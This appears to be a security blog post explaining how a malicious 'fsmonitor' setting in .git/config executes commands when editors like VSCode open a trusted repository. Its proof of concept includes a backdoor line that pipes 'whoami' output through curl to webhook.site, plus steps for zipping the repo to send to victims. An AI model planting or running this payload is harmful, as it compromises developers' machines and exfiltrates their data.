Trust your gut when it comes to git: Hiding backdoors in .git files

June 25, 2025

Modern development environments like VSCode, Cursor, and VSCodium have introduced powerful features to enhance developer productivity. However, these same features can be used by malicious actors to execute arbitrary code on unsuspecting devs machines. Im sharing some attack vectors that leverages Git configuration files combined with editor "trusted workspace" functionality, to compromise devs machines.

The Attack Vector: Git Configuration Abuse

Understanding Git's File System Monitor (fsmonitor)

Git's fsmonitor (file system monitor) is a performance optimization feature designed to speed up Git operations in large repositories. When enabled, it uses an external program to monitor file system changes, allowing Git to quickly determine which files have been modified without scanning the entire working directory.

The fsmonitor configuration accepts a command or path to an executable that Git will invoke to query file system changes. This is where the vulnerability lies—if an attacker can control this configuration value, they can execute arbitrary commands whenever Git performs certain operations.

VSCode's Trusted Workspace Model

VSCode and similar editors implement a "trusted workspace" security model to protect users from malicious code. When opening a folder containing potentially executable content (like npm scripts, Git hooks, or configuration files), the editor prompts users to trust the workspace authors.

Once a workspace is trusted, the editor enables features that can execute code:

  • Running npm/yarn scripts
  • Executing Git hooks
  • Loading workspace-specific settings
  • Processing Git configuration files that may contain executable commands

The critical issue is that many developers, eager to access full functionality, quickly click "Yes, I trust the authors" without understanding the security implications.

Technical Deep Dive

The Exploitation Mechanism

When VSCode opens a Git repository in trusted mode, it reads the .git/config file and honors the Git configuration settings, including fsmonitor. If this setting contains malicious commands, they will be executed in the context of the user's shell when Git operations are triggered.

The execution happens because:

  1. Git Configuration Loading: Git reads the local .git/config file when performing operations
  2. fsmonitor Invocation: Git calls the specified fsmonitor command to check for file changes
  3. Command Execution: The malicious payload executes with the user's privileges
  4. Stealth: The attack happens silently during normal Git operations

Trigger Conditions

The malicious fsmonitor command can be triggered by various Git operations:

  • Opening the repository in VSCode (automatic Git status checks)
  • Running git status manually
  • Performing any Git operation that checks file modifications
  • VSCode's automatic Git polling for changes

Proof of Concept

Step 1: Repository Initialization

mkdir super_safe_git && cd super_safe_git
git init .

Step 2: Examining Default git config configuration

cat .git/config

A standard Git configuration looks like this:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true

Step 3: Add a backdoor

Edit the .git/config file to include a malicious fsmonitor setting:

	fsmonitor = "whoami|curl -d@- webhook.site/{webhook_id}"

So the .git/config file looks like this:

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
	fsmonitor = "whoami|curl -d@- webhook.site/{webhook_id}"

And do a

git add .
git commit -m "first commit"

Step 5: Distribution

Package the repository and distribute it:

zip -r supersafe-project.zip super_safe_git/

When victims extract and open this in VSCode, they'll see a normal-looking project and likely trust it. When they do, the backdoor will be executed, and they will be compromised.

Acknowledgments

This knowledge was shared to me by my fellow hackers at the EHGN CTF, check them out: